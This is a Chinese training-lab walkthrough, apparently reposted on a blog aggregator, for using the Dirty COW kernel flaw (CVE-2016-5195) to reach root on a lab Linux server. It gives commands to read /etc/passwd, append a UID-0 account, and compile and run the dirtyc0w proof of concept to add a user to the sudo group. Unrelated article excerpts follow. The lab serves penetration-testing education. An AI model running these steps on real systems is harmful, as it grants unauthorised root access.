E034-服务漏洞利用及加固-利用CVE-2016-5195漏洞实现Linux系统本地提权

news2024/11/28 14:28:58

实验等级:

中级

任务场景:

【任务场景】

小王接到磐石公司的邀请,对该公司内部网络进行渗透测试,经过对局域网被操作系统进行全面的维护中,发现了一台内核版本为4.2.0-27的Linux服务器,低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权利用这一漏洞,也可在其目标系统提升权限,甚至可能获得root权限。

任务分析:

【任务分析】

Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

预备知识:

【预备知识】

该漏洞编号为CVE-2016-5195,漏洞名称:脏牛(Dirty COW),其危害程度:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权,影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复了该漏洞,这个bug影响的内核版本从Linux-2.6.22到Linux-4.8,Linux-2.6.22是2007年发布的。

=========================================================================

任务实施:

E034-服务漏洞利用及加固-利用CVE-2016-5195漏洞实现Linux系统本地提权

任务环境说明:

服务器场景:p9_linux-11(用户名:test;密码:123456)

服务器场景操作系统:Linux   192.168.32.197

复现

使用命令whoami && id查看当前用户名称及用户权限编号:

whoami && id

        使用命令uname -mrs来查看系统的内核版本号信息(-m 显示机器标识-r 显示操作系统的发行版号。 -s 显示系统名)。

uname -mrs

发现内核版本为4.2.0-27

使用命令cat /etc/passwd查看管理员用户

cat /etc/passwd

        可以看到管理为root,尝试对passwd文件进行修改echo “ro0t:x:0:0:root/bin/bash” >> /etc/passwd  ,提示权限被拒绝。

echo “ro0t:x:0:0:root/bin/bash” >> /etc/passwd

使用命令sudo adduser test1  添加新用户

sudo adduser test1  

使用命令cd /home/roo/dirtycow.github.io/切换至POC利用代码所在的目录

cd /home/roo/dirtycow.github.io/
ls -l

使用命令gcc -pthread dirtyc0w.c -o dirty -lcrypt 利用gcc编译dirtycOw.c文件

gcc -pthread dirtyc0w.c -o dirty -lcrypt 

        切换到test1,查看test1用户信息,可以看到test1用户没有sudo权限,执行sudo su命令提示不在该分组,无法执行sudo命令

su test1
id
sudo su

        使用命令./dirty /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test1/’ /etc/group)”执行exp修改/etc/group文件中的sudo分组成员,将test1加入到其中。

./dirty /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test1/’ /etc/group)”

        先切换为test用户后,然后切换回来就可以看到test1用户已经拥有了sudo权限,执行sudo su ,输入test1用户的密码后就可以切换到root权限,提权成功。

su test
su test1
sudo su

        先切换为test用户后,然后切换回来就可以看到test1用户已经拥有了sudo权限,执行sudo su ,输入test1用户的密码后就可以切换到root权限,提权成功。

实验结束,关闭虚拟机。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1096429.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【笔记整理】软考-软件设计师

一、计算机系统 计算机基本单位 单位名称简称换算位bitb字节byteB1B8b千字节KB1KB1024B兆字节MB1MB1024KB吉字节GB1GB1024MB太字节TB1TB1024GB 带宽单位Mbps的b是指Bit(位) 速度单位MB/s的B是指Byte(字节) 1MB/s=8M…

Android 10.0 禁止弹出系统simlock的锁卡弹窗功能实现

1.前言 在10.0的系统开发中,在一款产品中,需要实现simlock锁卡功能,在系统实现锁卡功能以后,在开机的过程中,或者是在插入sim卡 后,当系统检测到是禁用的sim卡后,就会弹出simlock锁卡弹窗,要求输入puk 解锁密码,功能需求禁用这个弹窗,所以就需要看是 哪里弹的,禁用…

04-React脚手架

04-React脚手架 1. react脚手架入门 1).脚手架的介绍 xxx脚手架: 用来帮助程序员快速创建一个基于xxx库的模板项目 包含了所有需要的配置(语法检查、jsx编译、devServer…)下载好了所有相关的依赖可以直接运行一个简单效果 react提供了一个用于创建rea…

R/d2及S/C4估计总体标准差,比较其CPK及规格限概率的差异

R/d2 和 S/C4 是用于估计总体标准差的无偏估计方法,通常用于控制图中。这些估计方法的主要目的是通过样本数据来估计总体标准差,以便监测过程的稳定性和变异性,而不需要收集整个总体的数据。 具体来说: R图中的 R/d2 和 S图中的…

【JAVA】有关包的概念

个人主页:【😊个人主页】 系列专栏:【❤️初识JAVA】 前言 Java包是用于组织和管理Java类的方式。它们提供了一种命名空间,以避免名称冲突,并使程序的组织更加有效和可维护。今天我们接着来学习有关包的概念。 包 …

faster lio 回环 加入GTSAM优化的记录

首先感谢这位博主的文章:https://blog.csdn.net/weixin_41281151/article/details/125371285,其中部分代码参考于改博主中的github: https://github.com/kahowang/FAST_LIO_SAM 不同的是,我使用的是faster lio进行更改&#xff0c…

vscode键盘输入不进去

二话不说,直接把输入切换到终端输出即可! 打开设置,搜索terminal,切换到run in terminal 即可!

C语言-指针相关使用

指针是 C语言的重要组成部分,是 C语言的核心、精髓。 在 C语言中,指针使用得当,能显著提高某些程序的效率,使用不当,则很容易造成系统错误、 一、指针使用 编译系统为每个变量都分配了一个能满足其类型大小的内存单…

vqvae简单实战,利用vqvae来提升模型向量表达

最近CV领域各种大模型在图像生成领域大发异彩,比如这两年大火的dalle系列模型。在这些模型中用到一个基础模型vqvae,今天我们写个简单实现来了解一下vqvae的工作原理。vqvae原始论文连接https://arxiv.org/pdf/1711.00937.pdf 1,代码 首先我们…

机器学习——奇异值分解二(特征分解+SVD纯理解)

矩阵的特征分解 特征值和特征向量的定义 抄来的:奇异值分解 困惑1:特征值和特征向量,和原矩阵是怎样的关系,需要一个栗子进行更具象的认识 困惑2:为什么多个特征向量组合成的矩阵,可以构成矩阵A的特征分解…

项目管理之实施关键步骤

项目管理已成为当代企业运营和发展过程中不可或缺的重要环节。如何实现高效、有序和可控的项目管理,一直是企业领导和项目团队追求的目标。本文将结合项目管理七招制胜内容,详细阐述项目管理实战中的具体做法。 如何分析项目 了解项目的背景和目的&…

网工记背配置命令(3)----POE配置示例

POE 供电就是通过以太网供电,这种方式仅凭借那根连接通信终端的网线就可完成为它们供电。POE提供的是-53V~0v 的直流电,供电距离最长可达 100m。PoE 款型的交换机的软件大包天然支持 POE,无需 license,通过执行 poe-enable 命令使…

【力扣1844】将所有数字用字符替换

👑专栏内容:力扣刷题⛪个人主页:子夜的星的主页💕座右铭:前路未远,步履不停 目录 一、题目描述二、题目分析 一、题目描述 给你一个下标从 0 开始的字符串 s ,它的偶数下标处为小写英文字母&am…

系列七、Redis持久化

一、是什么 将内存中的数据写入到硬盘的过程。 二、持久化方式 RDB、AOF 2.1、RDB(Redis Database) 2.1.1、概述 在指定的时间间隔,执行数据集的时间点快照。实现类似照片记录效果的方式,就是把某一时刻的数据和状态以文件的形…

vue3后台管理框架之收获

前端⼯程化概念 在学VUE和webpack打包的时候,了解到前端⼯程的基本概念,如下: 实际的前端开发,遵循四个现代化: 1.模块化(js的模块化、css的模块化、其他资源的模块化) 2.组件化(复⽤…

05-React组件的组合使用

05-React组件的组合使用 1.TodoList案例 需求:TodoList组件化实现此功能 显示所有todo列表输入文本, 点击按钮显示到列表的首位, 并清除输入的文本 1).实现: 完成TodoList组件的静态页面以及拆解组件 动态初始化列表 //App.jsx export default class …

[初始java]——java为什么这么火,java如何实现跨平台、什么是JDK/JRE/JVM

java的名言: ”一次编译、到处运行“ 一、编译语言与解释语言 编译: 是将整份源代码转换成机器码再进行下面的操作,最终形成可执行文件 解释: 是将源代码逐行转换成机器码并直接执行的过程,不需要生成目标文件 jav…

10.14~10.15verilog操作流程与Block Design

后面的那个是延时精度 verilog文件结构 文件名称与写的模板没有关系,这个文件名为P1,但模板名为andgate 但是如果是仿真文件,就需要开头的模板名和仿真文件名相同 .v是源文件,设计文件 .v在设计与sim里都有,静态共享&#xff0…

卡顿分析与布局优化

卡顿分析与布局优化 大多数用户感知到的卡顿等性能问题的最主要根源都是因为渲染性能。Android系统每隔大概16.6ms发出VSYNC信 号,触发对UI进行渲染,如果每次渲染都成功,这样就能够达到流畅的画面所需要的60fps,为了能够实现60fp…

CISA 彻底改变了恶意软件信息共享:网络安全的突破

在现代网络安全中,战术技术和程序(TTP)的共享对于防范网络事件至关重要。 因此,了解攻击向量和攻击类型之间的关联如今是让其他公司从其他公司遭受的 IT 事件中受益(吸取经验教训)的重要一步。 美国主要网…